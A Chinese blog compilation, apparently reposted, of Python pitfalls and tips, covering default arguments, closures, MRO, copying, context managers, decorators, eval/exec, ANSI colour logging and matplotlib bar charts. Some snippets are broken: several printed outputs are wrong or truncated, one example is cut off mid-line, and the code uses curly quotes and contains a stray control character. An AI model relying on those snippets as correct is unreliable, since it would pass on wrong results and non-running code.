【Python】应该避免的问题

[转自]:

微信分享

1、不要使用可变对象作为函数默认值

代码如下:

In [1]: def append_to_list(value, def_list=[]):

…: def_list.append(value)

…: return def_list

…:

In [2]: my_list = append_to_list(1)

In [3]: my_list

Out[3]: [1]

In [4]: my_other_list = append_to_list(2)

In [5]: my_other_list

Out[5]: [1, 2] # 看到了吧,其实我们本来只想生成[2] 但是却把第一次运行的效果页带了进来

In [6]: import time

In [7]: def report_arg(my_default=time.time()):

…: print(my_default)

…:

In [8]: report_arg() # 第一次执行

1399562371.32

In [9]: time.sleep(2) # 隔了2

In [10]: report_arg()

1399562371.32 # 时间竟然没有变

这2个例子说明了什么? 字典,集合,列表等等对象是不适合作为函数默认值的. 因为这个默认值实在函数建立的时候就生成了, 每次调用都是用了这个对象的”缓存”. 我在上段时间的分享python高级编程也说到了这个问题,这个是实际开发遇到的问题,好好检查你学过的代码, 也许只是问题没有暴露。

可以这样改,代码如下:

def append_to_list(element, to=None):

if to is None:

to = []

to.append(element)

return to

2、生成器不保留迭代过后的结果

代码如下:

In [12]: gen = (i for i in range(5))

In [13]: 2 in gen

Out[13]: True

In [14]: 3 in gen

Out[14]: True

In [15]: 1 in gen

Out[15]: False # 1为什么不在gen里面了? 因为调用1->2,这个时候1已经不在迭代器里面了,被按需生成过了

In [20]: gen = (i for i in range(5))

In [21]: a_list = list(gen) # 可以转化成列表,当然a_tuple = tuple(gen) 也可以

In [22]: 2 in a_list

Out[22]: True

In [23]: 3 in a_list

Out[23]: True

In [24]: 1 in a_list # 就算循环过,值还在

Out[24]: True

3、lambda在闭包中会保存局部变量

代码如下:

In [29]: my_list = [lambda: i for i in range(5)]

In [30]: for l in my_list:

….: print(l())

….:

4

4

这个问题还是上面说的python高级编程中说过具体原因. 其实就是当我赋值给my_list的时候,lambda表达式就执行了i会循环,直到 i =4,i会保留

但是可以用生成器,代码如下:

In [31]: my_gen = (lambda: n for n in range(5))

In [32]: for l in my_gen:

….: print(l())

….:

1

2

3

4

也可以坚持用list,代码如下:

In [33]: my_list = [lambda x=i: x for i in range(5)] # 看我给每个lambda表达式赋了默认值

In [34]: for l in my_list:

….: print(l())

….:

0

1

2

3

4

有点不好懂是吧,在看看python的另外一个魔法,代码如下:

In [35]: def groupby(items, size):

….: return zip(*[iter(items)]*size)

….:

In [36]: groupby(range(9), 3)

Out[36]: [(0, 1, 2), (3, 4, 5), (6, 7, 8)]

一个分组的函数,看起来很不好懂,对吧? 我们来解析下这里

代码如下:

In [39]: [iter(items)]*3

Out[39]:

[<listiterator at 0x10e155fd0>,

<listiterator at 0x10e155fd0>,

<listiterator at 0x10e155fd0>] # 看到了吧, 其实就是把items变成可迭代的, 重复三回(同一个对象哦), 但是别忘了,每次都.next(), 所以起到了分组的作用

In [40]: [lambda x=i: x for i in range(5)]

Out[40]:

[<function __main__.<lambda>>,

<function __main__.<lambda>>,

<function __main__.<lambda>>,

<function __main__.<lambda>>,

<function __main__.<lambda>>] # 看懂了吗?

4、在循环中修改列表项

代码如下:

In [44]: a = [1, 2, 3, 4, 5]

In [45]: for i in a:

….: if not i % 2:

….: a.remove(i)

….:

In [46]: a

Out[46]: [1, 3, 5] # 没有问题

In [50]: b = [2, 4, 5, 6]

In [51]: for i in b:

….: if not i % 2:

….: b.remove(i)

….:

In [52]: b

Out[52]: [4, 5] # 本来我想要的结果应该是去除偶数的列表

思考一下,为什么 – 是因为你对列表的remove,影响了它的index

代码如下:

In [53]: b = [2, 4, 5, 6]

In [54]: for index, item in enumerate(b):

….: print(index, item)

….: if not item % 2:

….: b.remove(item)

….:

(0, 2) # 这里没有问题 2被删除了

(1, 5) # 因为2被删除目前的列表是[4, 5, 6], 所以索引list[1]直接去找5, 忽略了4

(2, 6)

5、IndexError – 列表取值超出了他的索引数

代码如下:

In [55]: my_list = [1, 2, 3, 4, 5]

In [56]: my_list[5] # 根本没有这个元素

—————————————————————————

IndexError Traceback (most recent call last)

<ipython-input-56-037d00de8360> in <module>()

—-> 1 my_list[5]

IndexError: list index out of range # 抛异常了

In [57]: my_list[5:] # 但是可以这样,一定要注意, 用好了是trick,用错了就是坑啊

Out[57]: []

6、重用全局变量

代码如下:

In [58]: def my_func():

….: print(var) # 我可以先调用一个未定义的变量

….:

In [59]: var = ‘global’ # 后赋值

In [60]: my_func() # 反正只要调用函数时候变量被定义了就可以了

global

In [61]: def my_func():

….: var = ‘locally changed’

….:

In [62]: var = ‘global’

In [63]: my_func()

In [64]: print(var)

global # 局部变量没有影响到全局变量

In [65]: def my_func():

….: print(var) # 虽然你全局设置这个变量, 但是局部变量有同名的, python以为你忘了定义本地变量了

….: var = ‘locally changed’

….:

In [66]: var = ‘global’

In [67]: my_func()

—————————————————————————

UnboundLocalError Traceback (most recent call last)

<ipython-input-67-d82eda95de40> in <module>()

—-> 1 my_func()

<ipython-input-65-0ad11d690936> in my_func()

1 def my_func():

—-> 2 print(var)

3 var = ‘locally changed’

4

UnboundLocalError: local variable ‘var’ referenced before assignment

In [68]: def my_func():

….: global var # 这个时候得加全局了

….: print(var) # 这样就能正常使用

….: var = ‘locally changed’

….:

In [69]: var = ‘global’

In [70]:

In [70]: my_func()

global

In [71]: print(var)

locally changed # 但是使用了global就改变了全局变量

7、拷贝可变对象

代码如下:

In [72]: my_list1 = [[1, 2, 3]] * 2

In [73]: my_list1

Out[73]: [[1, 2, 3], [1, 2, 3]]

In [74]: my_list1[1][0] = ‘a’ # 我只修改子列表中的一项

In [75]: my_list1

Out[75]: [[‘a’, 2, 3], [‘a’, 2, 3]] # 但是都影响到了

In [76]: my_list2 = [[1, 2, 3] for i in range(2)] # 用这种循环生成不同对象的方法就不影响了

In [77]: my_list2[1][0] = ‘a’

In [78]: my_list2

Out[78]: [[1, 2, 3], [‘a’, 2, 3]]

8、python多继承

代码如下:

In [1]: class A(object):

…: def foo(self):

…: print(“class A”)

…:

In [2]: class B(object):

…: def foo(self):

…: print(“class B”)

…:

In [3]: class C(A, B):

…: pass

…:

In [4]: C().foo()

class A # 例子很好懂, C继承了AB,从左到右,发现Afoo方法,返回了

看起来都是很简单, 有次序的从底向上,从前向后找,找到就返回. 再看例子:

代码如下:

In [5]: class A(object):

…: def foo(self):

…: print(“class A”)

…:

In [6]: class B(A):

…: pass

…:

In [7]: class C(A):

…: def foo(self):

…: print(“class C”)

…:

In [8]: class D(B,C):

…: pass

…:

In [9]: D().foo()

class C # ? 按道理, 顺序是 D->B->A,为什么找到了C哪去了

这也就涉及了MRO(Method Resolution Order):

代码如下:

In [10]: D.__mro__

Out[10]: (__main__.D, __main__.B, __main__.C, __main__.A, object)

MRO的算法有点小复杂,既不是深度优先,也不是广度优先

9、列表的+和+=, append和extend

代码如下:

In [17]: print(‘ID:’, id(a_list))

(‘ID:’, 4481323592)

In [18]: a_list += [1]

In [19]: print(‘ID (+=):’, id(a_list))

(‘ID (+=):’, 4481323592) # 使用+= 还是在原来的列表上操作

In [20]: a_list = a_list + [2]

In [21]: print(‘ID (list = list + …):’, id(a_list))

(‘ID (list = list + …):’, 4481293056) # 简单的+其实已经改变了原有列表

In [28]: a_list = []

In [29]: id(a_list)

Out[29]: 4481326976

In [30]: a_list.append(1)

In [31]: id(a_list)

Out[31]: 4481326976 # append 是在原有列表添加

In [32]: a_list.extend([2])

In [33]: id(a_list)

Out[33]: 4481326976 # extend 也是在原有列表上添加

10、datetime也有布尔值

这是一个坑,代码如下:

In [34]: import datetime

In [35]: print(‘”datetime.time(0,0,0)” (Midnight) ->’, bool(datetime.time(0,0,0)))

(‘”datetime.time(0,0,0)” (Midnight) ->’, False)

In [36]: print(‘”datetime.time(1,0,0)” (1 am) ->’, bool(datetime.time(1,0,0)))

(‘”datetime.time(1,0,0)” (1 am) ->’, True)

11、‘==’ 和 is 的区别

我的理解是”is”是判断2个对象的身份, ==是判断2个对象的值,代码如下:

In [37]: a = 1

In [38]: b = 1

In [39]: print(‘a is b’, bool(a is b))

(‘a is b’, True)

In [40]: c = 999

In [41]: d = 999

In [42]: print(‘c is d’, bool(c is d))

(‘c is d’, False) # 原因是python的内存管理,缓存了-5 – 256的对象

In [43]: print(‘256 is 257-1’, 256 is 257-1)

(‘256 is 257-1’, True)

In [44]: print(‘257 is 258-1’, 257 is 258 – 1)

(‘257 is 258-1’, False)

In [45]: print(‘-5 is -6+1’, -5 is -6+1)

(‘-5 is -6+1’, True)

In [46]: print(‘-7 is -6-1’, -7 is -6-1)

(‘-7 is -6-1’, False)

In [47]: a = ‘hello world!’

In [48]: b = ‘hello world!’

In [49]: print(‘a is b,’, a is b)

(‘a is b,’, False) # 很明显他们没有被缓存,这是2个字段串的对象

In [50]: print(‘a == b,’, a == b)

(‘a == b,’, True) # 但他们的值相同

# But, 有个特例

In [51]: a = float(‘nan’)

In [52]: print(‘a is a,’, a is a)

(‘a is a,’, True)

In [53]: print(‘a == a,’, a == a)

(‘a == a,’, False) # 亮瞎我眼睛了~

12、浅拷贝和深拷贝

我们在实际开发中都可以向对某列表的对象做修改,但是可能不希望改动原来的列表. 浅拷贝只拷贝父对象,深拷贝还会拷贝对象的内部的子对象,代码如下:

In [65]: list1 = [1, 2]

In [66]: list2 = list1 # 就是个引用, 你操作list2,其实list1的结果也会变

In [67]: list3 = list1[:]

In [69]: import copy

In [70]: list4 = copy.copy(list1) # 他和list3一样都是浅拷贝

In [71]: id(list1), id(list2), id(list3), id(list4)

Out[71]: (4480620232, 4480620232, 4479667880, 4494894720)

In [72]: list2[0] = 3

In [73]: print(‘list1:’, list1)

(‘list1:’, [3, 2])

In [74]: list3[0] = 4

In [75]: list4[1] = 4

In [76]: print(‘list1:’, list1)

(‘list1:’, [3, 2]) # list3list4操作都没有对list1有影响

# 再看看深拷贝和浅拷贝的区别

In [88]: from copy import copy, deepcopy

In [89]: list1 = [[1], [2]]

In [90]: list2 = copy(list1) # 还是浅拷贝

In [91]: list3 = deepcopy(list1) # 深拷贝

In [92]: id(list1), id(list2), id(list3)

Out[92]: (4494896592, 4495349160, 4494896088)

In [93]: list2[0][0] = 3

In [94]: print(‘list1:’, list1)

(‘list1:’, [[3], [2]]) # 看到了吧假如你操作其子对象还是和引用一样影响了源

In [95]: list3[0][0] = 5

In [96]: print(‘list1:’, list1)

(‘list1:’, [[3], [2]]) # 深拷贝就不会影响

13、bool其实是int的子类

代码如下:

In [97]: isinstance(True, int)

Out[97]: True

In [98]: True + True

Out[98]: 2

In [99]: 3 * True + True

Out[99]: 4

In [100]: 3 * True – False

Out[100]: 3

In [104]: True << 10

Out[104]: 1024

14、元组是不是真的不可变?

代码如下:

In [111]: tup = ([],)

In [112]: tup[0] += [1]

—————————————————————————

TypeError Traceback (most recent call last)

<ipython-input-112-d4f292cf35de> in <module>()

—-> 1 tup[0] += [1]

TypeError: ‘tuple’ object does not support item assignment

In [113]: tup

Out[113]: ([1],) # 我靠又是亮瞎我眼睛,明明抛了异常还能修改?

In [114]: tup = ([],)

In [115]: tup[0].extend([1])

In [116]: tup[0]

Out[116]: [1] # 好吧,我有点看明白了, 虽然我不能直接操作元组,但是不能阻止我操作元组中可变的子对象(list)

这里有个不错的解释Python’s += Is Weird, Part II :

代码如下:

In [117]: my_tup = (1,)

In [118]: my_tup += (4,)

In [119]: my_tup = my_tup + (5,)

In [120]: my_tup

Out[120]: (1, 4, 5) # ? 嗯不是不能操作元组嘛?

In [121]: my_tup = (1,)

In [122]: print(id(my_tup))

4481317904

In [123]: my_tup += (4,)

In [124]: print(id(my_tup))

4480606864 # 操作的不是原来的元组所以可以

In [125]: my_tup = my_tup + (5,)

In [126]: print(id(my_tup))

4474234912

15、python没有私有方法/变量? 但是可以有”伪”的

代码如下:

In [127]: class my_class(object^E):

…..: def public_method(self):

…..: print(‘Hello public world!’)

…..: def __private_method(self): # 私有以双下划线开头

…..: print(‘Hello private world!’)

…..: def call_private_method_in_class(self):

…..: self.__private_method()

In [132]: my_instance = my_class()

In [133]: my_instance.public_method()

Hello public world! # 普通方法

In [134]: my_instance._my_class__private_method()

Hello private world! # 私有的可以加“_ + 类名字 + 私有方法名字

In [135]: my_instance.call_private_method_in_class()

Hello private world! # 还可以通过类提供的公有接口内部访问

In [136]: my_instance._my_class__private_variable

Out[136]: 1

16、异常处理加else

代码如下:

In [150]: try:

…..: print(‘third element:’, a_list[2])

…..: except IndexError:

…..: print(‘raised IndexError’)

…..: else:

…..: print(‘no error in try-block’) # 只有在try里面没有异常的时候才会执行else里面的表达式

…..:

raised IndexError # 抛异常了没完全完成

In [153]: i = 0

In [154]: while i < 2:

…..: print(i)

…..: i += 1

…..: else:

…..: print(‘in else’)

…..:

0

1

in else # while也支持哦~

In [155]: i = 0

In [156]: while i < 2:

…..: print(i)

…..: i += 1

…..: break

…..: else:

…..: print(‘completed while-loop’)

…..:

0 # break了没有完全执行完就不执行else里面的了

In [158]: for i in range(2):

…..: print(i)

…..: else:

…..: print(‘completed for-loop’)

…..:

0

1

completed for-loop

In [159]: for i in range(2):

…..: print(i)

…..: break

…..: else:

…..: print(‘completed for-loop’)

…..:

0 # 也是因为break

【Python】技巧

原文链接:http://mp.weixin.qq.com/s?__biz=MjM5OTk4MDE2MA==&mid=402967758&idx=2&sn=b2f4d11bbc3c2fa786835d069f51b1f7&scene=1&srcid=1123WGG7BrP82plyvifFjLkB&key=d72a47206eca0ea9e9ed8719880bf9b7e1737dfba950c1012a2fa29d0790c1d4dd48a3c030954bc0b0eedfa6657cd8d2&ascene=0&uin=MzgyMTQ0NDM1&devicetype=iMac+MacBookAir7%2C2+OSX+OSX+10.11.1+build(15B42)&version=11020201&pass_ticket=vl269uT%2BhKYEvP5JuIxzgxiwiVu%2FDwPKxJN56U67InnTuTDJkKktjrKdv0hTdGP2

示有限的接口到外部

当发布python第三方package时,并不希望代码中所有的函数或者class可以被外部import,在__init__.py中添加__all__属性,该list中填写可以import的类或者函数名, 可以起到限制的import的作用, 防止外部import其他函数或者类。

  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. from base import APIBase
  4. from client import Client
  5. from decorator import interface, export, stream
  6. from server import Server
  7. from storage import Storage
  8. from util import (LogFormatter, disable_logging_to_stderr,
  9.                       enable_logging_to_kids, info)
  10. __all__ = [‘APIBase’, ‘Client’, ‘LogFormatter’, ‘Server’,
  11.           ‘Storage’, ‘disable_logging_to_stderr’, ‘enable_logging_to_kids’,
  12.           ‘export’, ‘info’, ‘interface’, ‘stream’]

with的魔力

with语句需要支持上下文管理协议的对象, 上下文管理协议包含__enter____exit__两个方法。 with语句建立运行时上下文需要通过这两个方法执行进入和退出操作。

其中上下文表达式是跟在with之后的表达式, 该表达式返回一个上下文管理对象。

  1. # 常见with使用场景
  2. with open(“test.txt”, “r”) as my_file:  # 注意, 是__enter__()方法的返回值赋值给了my_file,
  3.     for line in my_file:
  4.         print line

知道具体原理,我们可以自定义支持上下文管理协议的类,类中实现__enter____exit__方法。

  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. class MyWith(object):
  4.     def __init__(self):
  5.         print “__init__ method”
  6.     def __enter__(self):
  7.         print “__enter__ method”
  8.         return self  # 返回对象给as后的变量
  9.     def __exit__(self, exc_type, exc_value, exc_traceback):
  10.         print “__exit__ method”
  11.         if exc_traceback is None:
  12.             print “Exited without Exception”
  13.             return True
  14.         else:
  15.             print “Exited with Exception”
  16.             return False
  17. def test_with():
  18.     with MyWith() as my_with:
  19.         print “running my_with”
  20.     print “——分割线—–“
  21.     with MyWith() as my_with:
  22.         print “running before Exception”
  23.         raise Exception
  24.         print “running after Exception”
  25. if __name__ == ‘__main__’:
  26.     test_with()

执行结果如下:

  1. __init__ method
  2. __enter__ method
  3. running my_with
  4. __exit__ method
  5. Exited without Exception
  6. ——分割线—–
  7. __init__ method
  8. __enter__ method
  9. running before Exception
  10. __exit__ method
  11. Exited with Exception
  12. Traceback (most recent call last):
  13.   File “bin/python”, line 34, in <module>
  14.     exec(compile(__file__f.read(), __file__, “exec”))
  15.   File “test_with.py”, line 33, in <module>
  16.     test_with()
  17.   File “test_with.py”, line 28, in test_with
  18.     raise Exception
  19. Exception

证明了会先执行__enter__方法, 然后调用with内的逻辑, 最后执行__exit__做退出处理, 并且, 即使出现异常也能正常退出

filter的用法

相对filter而言, map和reduce使用的会更频繁一些, filter正如其名字, 按照某种规则过滤掉一些元素。

  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. lst = [1, 2, 3, 4, 5, 6]
  4. # 所有奇数都会返回True, 偶数会返回False被过滤掉
  5. print filter(lambda x: x % 2 != 0, lst)
  6. #输出结果
  7. [1, 3, 5]

一行作判断

当条件满足时, 返回的为等号后面的变量, 否则返回else后语句。

  1. lst = [1, 2, 3]
  2. new_lst = lst[0] if lst is not None else None
  3. print new_lst
  4. # 打印结果
  5. 1

装饰器之单例

使用装饰器实现简单的单例模式

  1. # 单例装饰器
  2. def singleton(cls):
  3.     instances = dict()  # 初始为空
  4.     def _singleton(*args, **kwargs):
  5.         if cls not in instances:  #如果不存在, 则创建并放入字典
  6.             instances[cls] = cls(*args, **kwargs)
  7.         return instances[cls]
  8.     return _singleton
  9. @singleton
  10. class Test(object):
  11.     pass
  12. if __name__ == ‘__main__’:
  13.     t1 = Test()
  14.     t2 = Test()
  15.     # 两者具有相同的地址
  16.     print t1, t2

staticmethod装饰器

类中两种常用的装饰, 首先区分一下他们:

  • 普通成员函数, 其中第一个隐式参数为对象
  • classmethod装饰器, 类方法(给人感觉非常类似于OC中的类方法), 其中第一个隐式参数为
  • staticmethod装饰器, 没有任何隐式参数. python中的静态方法类似与C++中的静态方法
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. class A(object):
  4.     # 普通成员函数
  5.     def foo(self, x):
  6.         print “executing foo(%s, %s)” % (self, x)
  7.     @classmethod   # 使用classmethod进行装饰
  8.     def class_foo(cls, x):
  9.         print “executing class_foo(%s, %s)” % (cls, x)
  10.     @staticmethod  # 使用staticmethod进行装饰
  11.     def static_foo(x):
  12.         print “executing static_foo(%s)” % x
  13. def test_three_method():
  14.     obj = A()
  15.     # 直接调用噗通的成员方法
  16.     obj.foo(“para”)  # 此处obj对象作为成员函数的隐式参数, 就是self
  17.     obj.class_foo(“para”)  # 此处类作为隐式参数被传入, 就是cls
  18.     A.class_foo(“para”)  #更直接的类方法调用
  19.     obj.static_foo(“para”)  # 静态方法并没有任何隐式参数, 但是要通过对象或者类进行调用
  20.     A.static_foo(“para”)
  21. if __name__ == ‘__main__’:
  22.     test_three_method()
  23.    
  24. # 函数输出
  25. executing foo(<__main__.A object at 0x100ba4e10>, para)
  26. executing class_foo(<class ‘__main__.A’>, para)
  27. executing class_foo(<class ‘__main__.A’>, para)
  28. executing static_foo(para)
  29. executing static_foo(para)

property装饰器

  • 定义私有类属性

property与装饰器结合实现属性私有化(更简单安全的实现get和set方法)。

  1. #python内建函数
  2. property(fget=None, fset=None, fdel=None, doc=None)

fget是获取属性的值的函数,fset是设置属性值的函数,fdel是删除属性的函数,doc是一个字符串(像注释一样)。从实现来看,这些参数都是可选的。

property有三个方法getter()setter()delete() 来指定fget, fset和fdel。 这表示以下这行:

  1. class Student(object):
  2.     @property  #相当于property.getter(score) 或者property(score)
  3.     def score(self):
  4.         return self._score
  5.     @score.setter #相当于score = property.setter(score)
  6.     def score(self, value):
  7.         if not isinstance(value, int):
  8.             raise ValueError(‘score must be an integer!’)
  9.         if value < 0 or value > 100:
  10.             raise ValueError(‘score must between 0 ~ 100!’)
  11.         self._score = value

iter魔法

  • 通过yield和__iter__的结合,我们可以把一个对象变成可迭代的
  • 通过__str__的重写, 可以直接通过想要的形式打印对象
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. class TestIter(object):
  4.     def __init__(self):
  5.         self.lst = [1, 2, 3, 4, 5]
  6.     def read(self):
  7.         for ele in xrange(len(self.lst)):
  8.             yield ele
  9.     def __iter__(self):
  10.         return self.read()
  11.     def __str__(self):
  12.         return ‘,’.join(map(str, self.lst))
  13.    
  14.     __repr__ = __str__
  15. def test_iter():
  16.     obj = TestIter()
  17.     for num in obj:
  18.         print num
  19.     print obj
  20. if __name__ == ‘__main__’:
  21.     test_iter()

神奇partial

partial使用上很像C++中仿函数(函数对象)。

在stackoverflow给出了类似与partial的运行方式:

  1. def partial(func, *part_args):
  2.     def wrapper(*extra_args):
  3.         args = list(part_args)
  4.         args.extend(extra_args)
  5.         return func(*args)
  6.     return wrapper

利用用闭包的特性绑定预先绑定一些函数参数,返回一个可调用的变量, 直到真正的调用执行:

  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. from functools import partial
  4. def sum(a, b):
  5.     return a + b
  6. def test_partial():
  7.     fun = partial(sum, 2)   # 事先绑定一个参数, fun成为一个只需要一个参数的可调用变量
  8.     print fun(3)  # 实现执行的即是sum(2, 3)
  9. if __name__ == ‘__main__’:
  10.     test_partial()
  11.    
  12. # 执行结果
  13. 5

神秘eval

eval我理解为一种内嵌的python解释器(这种解释可能会有偏差), 会解释字符串为对应的代码并执行, 并且将执行结果返回。

看一下下面这个例子:

  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. def test_first():
  4.     return 3
  5. def test_second(num):
  6.     return num
  7. action = {  # 可以看做是一个sandbox
  8.         “para”: 5,
  9.         “test_first” : test_first,
  10.         “test_second”: test_second
  11.         }
  12. def test_eavl(): 
  13.     condition = “para == 5 and test_second(test_first) > 5”
  14.     res = eval(condition, action)  # 解释condition并根据action对应的动作执行
  15.     print res
  16. if __name__ == ‘_

exec

  • exec在Python中会忽略返回值, 总是返回None, eval会返回执行代码或语句的返回值
  • execeval在执行代码时, 除了返回值其他行为都相同
  • 在传入字符串时, 会使用compile(source, ‘<string>’, mode)编译字节码。 mode的取值为execeval
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. def test_first():
  4.     print “hello”
  5. def test_second():
  6.     test_first()
  7.     print “second”
  8. def test_third():
  9.     print “third”
  10. action = {
  11.         “test_second”: test_second,
  12.         “test_third”: test_third
  13.         }
  14. def test_exec():
  15.     exec “test_second” in action
  16. if __name__ == ‘__main__’:
  17.     test_exec()  # 无法看到执行结果

getattr

getattr(object, name[, default])返回对象的命名属性,属性名必须是字符串。如果字符串是对象的属性名之一,结果就是该属性的值。例如, getattr(x, ‘foobar’) 等价于 x.foobar。 如果属性名不存在,如果有默认值则返回默认值,否则触发 AttributeError 。

  1. # 使用范例
  2. class TestGetAttr(object):
  3.     test = “test attribute”
  4.     def say(self):
  5.         print “test method”
  6. def test_getattr():
  7.     my_test = TestGetAttr()
  8.     try:
  9.         print getattr(my_test, “test”)
  10.     except AttributeError:
  11.         print “Attribute Error!”
  12.     try:
  13.         getattr(my_test, “say”)()
  14.     except AttributeError: # 没有该属性, 且没有指定返回值的情况下
  15.         print “Method Error!”
  16. if __name__ == ‘__main__’:
  17.     test_getattr()
  18.    
  19. # 输出结果
  20. test attribute
  21. test method

命令行处理

  1. def process_command_line(argv):
  2.     “””
  3.     Return a 2-tuple: (settings object, args list).
  4.     `argv` is a list of arguments, or `None` for “sys.argv[1:]“.
  5.     “””
  6.     if argv is None:
  7.         argv = sys.argv[1:]
  8.     # initialize the parser object:
  9.     parser = optparse.OptionParser(
  10.         formatter=optparse.TitledHelpFormatter(width=78),
  11.         add_help_option=None)
  12.     # define options here:
  13.     parser.add_option(      # customized description; put –help last
  14.         ‘-h’, ‘–help’, action=‘help’,
  15.         help=‘Show this help message and exit.’)
  16.     settings, args = parser.parse_args(argv)
  17.     # check number of arguments, verify values, etc.:
  18.     if args:
  19.         parser.error(‘program takes no command-line arguments; ‘
  20.                     ‘”%s” ignored.’ % (args,))
  21.     # further process settings & args if necessary
  22.     return settings, args
  23. def main(argv=None):
  24.     settings, args = process_command_line(argv)
  25.     # application code here, like:
  26.     # run(settings, args)
  27.     return 0        # success
  28. if __name__ == ‘__main__’:
  29.     status = main()
  30.     sys.exit(status)

读写csv文件

  1. # 从csv中读取文件, 基本和传统文件读取类似
  2. import csv
  3. with open(‘data.csv’, ‘rb’) as f:
  4.     reader = csv.reader(f)
  5.     for row in reader:
  6.         print row
  7. # 向csv文件写入
  8. import csv
  9. with open( ‘data.csv’, ‘wb’) as f:
  10.     writer = csv.writer(f)
  11.     writer.writerow([‘name’, ‘address’, ‘age’])  # 单行写入
  12.     data = [
  13.             ( ‘xiaoming ‘,‘china’,’10’),
  14.             ( ‘Lily’, ‘USA’, ’12’)]
  15.     writer.writerows(data)  # 多行写入

各种时间形式转换

只发一张网上的图

字符串格式化

一个非常好用, 很多人又不知道的功能:

  1. >>> name = “andrew”
  2. >>> “my name is {name}”.format(name=name)
  3. ‘my name is andrew’

python项目中输出指定颜色的日志

起因

在开发项目过程中,为了方便调试代码,经常会向stdout中输出一些日志,默认的这些日志就直接显示在了终端中。而一般的应用服务器,第三方库,甚至服务器的一些通告也会在终端中显示,这样就搅乱了我们想要的信息。
解决
我们可以通过对有用的信息设置不同颜色来达到醒目的效果,因为我平时都是在linux下开发,而linux终端中的颜色是用转义序列控制的,转义序列是以ESC开头,可以用\033完成相同的工作(ESC的ASCII码用十进制表示就是27,等于用八进制表示的33)。

书写格式,和相关说明如下:

格式:\033[显示方式;前景色;背景色m

说明
前景色 背景色 颜色
—————————————
30 40 黑色
31 41 红色
32 42 绿色
33 43 黃色
34 44 蓝色
35 45 紫红色
36 46 青蓝色
37 47 白色
显示方式 意义
————————-
0 终端默认设置
1 高亮显示
4 使用下划线
5 闪烁
7 反白显示
8 不可见

例子
\033[1;31;40m <!–1-高亮显示 31-前景色红色 40-背景色黑色–>
\033[0m <!–采用终端默认设置,即取消颜色设置–>
下面是我在python中使用的方式:

print ‘\033[1;31;40m’
print ‘*’ * 50
print ‘*HOST:\t’, request.META.get(‘REMOTE_ADDR’)
print ‘*URI:\t’, request.path
print ‘*ARGS:\t’, QueryDict(request.body)
print ‘*TIME:\t’, time.time() – request.start_time
print ‘*’ * 50
print ‘\033[0m’

效果图如下:
python项目中输出指定颜色的日志
当然这只是一种简单的实现方式,而且仅在linux下有效,其它方式可以使用termcolor,或者参考ipython的console实现(pyreadline)。

python使用matplotlib绘图 — barChart

matploitlib画图的各种各样的源码以及图样:

http://matplotlib.org/gallery.html

 

    matplotlib 是python最著名的绘图库,它提供了一整套和matlab相似的命令API,十分适合交互式地进行制图。而且也可以方便地将它作为绘图控件,嵌入GUI应用程序中。它的文档相当完备,并且 Gallery页面 中有上百幅缩略图,打开之后都有源程序。因此如果你需要绘制某种类型的图,只需要在这个页面中浏览/复制/粘贴一下,基本上都能搞定。  —–引用自:http://hyry.dip.jp/pydoc/matplotlib_intro.html

你可以从 http://www.lfd.uci.edu/~gohlke/pythonlibs/#matplotlib 下载安装matplotlib。

这篇我们用matplotlib从构造最简单的bar一步一步向复杂的bar前行。什么是最简单的bar,看如下语句你就知道她有多么简单了:

import matplotlib.pyplot as plt

plt.bar(left = 0,height = 1)
plt.show()

执行效果:
是的,三句话就可以了,是我见过最简单的绘图语句。首先我们import了matplotlib.pyplot ,然后直接调用其bar方法,最后用show显示图像。我解释一下bar中的两个参数:
  • left:柱形的左边缘的位置,如果我们指定1那么当前柱形的左边缘的x值就是1.0了
  • height:这是柱形的高度,也就是Y轴的值了
left,height除了可以使用单独的值(此时是一个柱形),也可以使用元组来替换(此时代表多个矩形)。例如,下面的例子:
import matplotlib.pyplot as plt

plt.bar(left = (0,1),height = (1,0.5))
plt.show()

可以看到 left = (0,1)的意思就是总共有两个矩形,第一个的左边缘为0,第二个的左边缘为1。height参数同理。
当然,可能你还觉得这两个矩形“太胖”了。此时我们可以通过指定bar的width参数来设置它们的宽度。
import matplotlib.pyplot as plt

plt.bar(left = (0,1),height = (1,0.5),width = 0.35)
plt.show()

此时又来需求了,我需要标明x,y轴的说明。比如x轴是性别,y轴是人数。实现也很简单,看代码:
import matplotlib.pyplot as plt

plt.xlabel(u’性别’)
plt.ylabel(u’人数’)
plt.bar(left = (0,1),height = (1,0.5),width = 0.35)
plt.show()

注意这里的中文一定要用u(3.0以上好像不用,我用的2.7),因为matplotlib只支持unicode。接下来,让我们在x轴上的每个bar进行说明。比如第一个是“男”,第二个是“女”。
import matplotlib.pyplot as plt

plt.xlabel(u’性别’)
plt.ylabel(u’人数’)

plt.xticks((0,1),(u’男’,u’女’))

plt.bar(left = (0,1),height = (1,0.5),width = 0.35)

plt.show()

plt.xticks的用法和我们前面说到的left,height的用法差不多。如果你有几个bar,那么就是几维的元组。第一个是文字的位置,第二个是具体的文字说明。不过这里有个问题,很显然我们指定的位置有些“偏移”,最理想的状态应该在每个矩形的中间。你可以更改(0,1)=>( (0+0.35)/2 ,(1+0.35)/2 )不过这样比较麻烦。我们可以通过直接指定bar方法里面的align=”center”就可以让文字居中了。
import matplotlib.pyplot as plt

plt.xlabel(u’性别’)
plt.ylabel(u’人数’)

plt.xticks((0,1),(u’男’,u’女’))

plt.bar(left = (0,1),height = (1,0.5),width = 0.35,align=”center”)

plt.show()

接下来,我们还可以给图标加入标题。
plt.title(u”性别比例分析”)
当然,还有图例也少不掉:
import matplotlib.pyplot as plt

plt.xlabel(u’性别’)
plt.ylabel(u’人数’)

plt.title(u”性别比例分析”)
plt.xticks((0,1),(u’男’,u’女’))
rect = plt.bar(left = (0,1),height = (1,0.5),width = 0.35,align=”center”)

plt.legend((rect,),(u”图例”,))

plt.show()

注意这里的legend方法,里面的参数必须是元组。即使你只有一个图例,不然显示不正确。
接下来,我们还可以在每个矩形的上面标注它具体点Y值。这里,我们需要用到一个通用的方法:
def autolabel(rects):
for rect in rects:
height = rect.get_height()
plt.text(rect.get_x()+rect.get_width()/2., 1.03*height, ‘%s’ % float(height))
